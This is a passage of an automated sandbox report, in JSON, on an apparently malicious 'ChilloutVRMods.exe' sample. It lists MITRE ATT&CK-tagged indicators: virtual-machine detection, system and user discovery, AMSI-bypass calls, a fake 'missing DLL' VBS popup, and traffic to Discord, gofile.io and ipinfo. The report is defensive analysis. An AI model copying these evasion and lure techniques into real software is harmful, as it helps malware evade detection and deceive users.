\"00000000-00002044.00000001.199487.738C0000.00000004.mdmp\")\n Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; Source: \"00000000-00002656.00000000.200760.12310000.00000004.mdmp\")\n Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00002656.00000000.200760.12310000.00000004.mdmp\")\n Found string \"vgauthservice.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00002656.00000000.200760.12310000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004592-00000C2C-2044032065\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005884-00000C2C-2048763963\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00005884-00000C2C-2047288241\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00005884-00000C2C-2047288534\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005884-00000C2C-2049708714\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005884-00000C2C-2049708755\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetSystemDefaultLCID\" (Indicator: \"GetSystemDefaultLCID\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"_socket.pyd\")\n file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"connection.py\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetEnvironmentStringsW\" in file \"ChilloutVRMods.exe\"\n Found system information discovery API: \"GetSystemInfo\" in file \"ChilloutVRMods.exe\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in file \"ChilloutVRMods.exe\"\n Found system information discovery API: \"GetUserObjectInformationW\" in file \"ChilloutVRMods.exe\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00005884-00000C2C-2048533611\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00005884-00000C2C-2048533651\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"ChilloutVRMods.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007912)\n \"zeppskdd.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004592)\n \"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005884)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"ChilloutVRMods.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007912)\n \"ChilloutVRMods.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00007912)\n \"ChilloutVRMods.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00007912)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"ChilloutVRMods.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007912)\n \"zeppskdd.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00004592)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"ChilloutVRMods.exe\" called \"IsWow64Process\" with parameter \"7912\" - (UID: 00000000-00007912)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00005884)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002044)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00003696)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00004788)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"ChilloutVRMods.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007912)\n \"zeppskdd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004592)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$31","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$32","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00005884)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00005884)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00002044)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00002044)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00003696)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00005884)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005884)\n \"cscript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00004004)\n \"cscript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00004004)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00002044)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00002044)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00003696)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003696)\n \"tasklist.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00005868)\n \"tasklist.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00002656)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve geographical location information","description":"Observed import api \"getaddrinfo\" which can be \"used to convert host name to address\" [Source: libcrypto-1_1.dll]\n Observed import api \"getaddrinfo\" which can be \"used to convert host name to address\" [Source: _socket.pyd]","origin":"Static Parser","mitre_attack_id":"T1082","relevance":5,"id":"static-190","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: ChilloutVRMods.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: python310.dll]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate volumes (API string)","description":"Found reference to API \"GetVolumePathNameW\" (Indicator: \"GetVolumePathName\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$33","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"Set WshShell = CreateObject(\"WScript.Shell\")WshShell.Popup \"The program can't start because ucrtbase.dll is missing from your computer. Try reinstalling the program to fix this problem.\", 0, \"System Error\", 16\" (Indicator: \"set \"; File: \"system_check_1788280749172.vbs\")\n file/memory contains long string with (Indicator: \"\"set \"; File: \"sslproto.py\")\n file/memory contains long string with (Indicator: \"\"set \"; File: \"cmd.py\")\n file/memory contains long string with (Indicator: \"\"set \"; File: \"transports.py\")\n file/memory contains long string with (Indicator: \"\"set \"; File: \"configuration.py\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"%WINDIR%\\system32\\cmd.exe /c \"ver\"\" (Indicator: \"cmd.exe /c \"ver\"\") in Source: 00000000-00000636-00000C47-37496087382","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"tasklist.exe\" issued a query \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$34","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$35","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"zeppskdd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"cscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"python.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"tasklist.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"cscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"python.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" Win32_Process\"; Source: \"00000000-00002656.00000000.200760.122FC000.00000004.mdmp, 00000000-00002656.00000000.200760.12580000.00000004.mdmp\")\n Found string \"CT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" Win32_Process\"; Source: \"00000000-00002656.00000000.200760.122FC000.00000004.mdmp, 00000000-00002656.00000000.200760.12310000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA TCPv4 invalid checksum\" (SID: 2200074, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"ET INFO Observed Discord Domain (discord .com in TLS SNI)\" (SID: 2035463, Rev: 3, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Observed Discord Service Domain (discord .com) in TLS SNI\" (SID: 2060505, Rev: 1, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Observed File Hosting Service Domain (files .pythonhosted .org in TLS SNI)\" (SID: 2049202, Rev: 1, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET FILE_SHARING File Sharing Related Domain in TLS SNI (gofile .io)\" (SID: 2049323, Rev: 2, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO Possible External IP Lookup Domain Observed in SNI (ipinfo. io)\" (SID: 2025331, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"python310.zip\" copied on \"%TEMP%\\python310.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyW\" in file \"ChilloutVRMods.exe\"\n Found registry modification API: \"RegCreateKeyExW\" in file \"ChilloutVRMods.exe\"\n Found registry modification API: \"RegConnectRegistryW\" in file \"ChilloutVRMods.exe\"\n Found registry modification API: \"RegLoadKeyW\" in file \"ChilloutVRMods.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Able to execute applications using .NET process API","description":"Found string \"processstartinfo\" (Source: \"00000000-00002044.00000001.199487.4D110000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-934","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00005884)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00002044)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00003696)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00004788)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$36","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a named pipe","description":"$37","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-275","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$38","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"ChilloutVRMods.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\dotnet-diagnostic-7912\" - (UID: 00000000-00007912)\n \"zeppskdd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\uv\\FFFFFFFFFFFFFFFF-4592\" - (UID: 00000000-00004592)\n \"zeppskdd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\uv\\0000000000000000-4592\" - (UID: 00000000-00004592)\n \"zeppskdd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\uv\\0000000000000001-4592\" - (UID: 00000000-00004592)\n \"zeppskdd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\uv\\0000000000000002-4592\" - (UID: 00000000-00004592)\n \"zeppskdd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\uv\\0000000000000003-4592\" - (UID: 00000000-00004592)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$39","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"pypi.org\"\n \"files.pythonhosted.org\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"34.117.59.81:443\"\n \"162.159.128.233:443\"\n \"23.55.236.140:443\"\n \"151.101.64.223:443\"\n \"151.101.192.223:443\"\n \"160.202.167.55:443\"\n \"45.112.123.227:443\"\n \"45.112.123.239:443\"\n \"94.139.32.11:443\"\n \"45.112.123.230:443\"\n \"108.181.20.35:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Proces\" (Source: 00000000-00005868-00002714-2117126748, Indicator: \"select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime from win32_proces\")\n \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Source: 00000000-00002656.00000000.200760.122FC000.00000004.mdmp, 00000000-00002656.00000000.200760.12580000.00000004.mdmp, Indicator: \"select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime from win32_process\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: 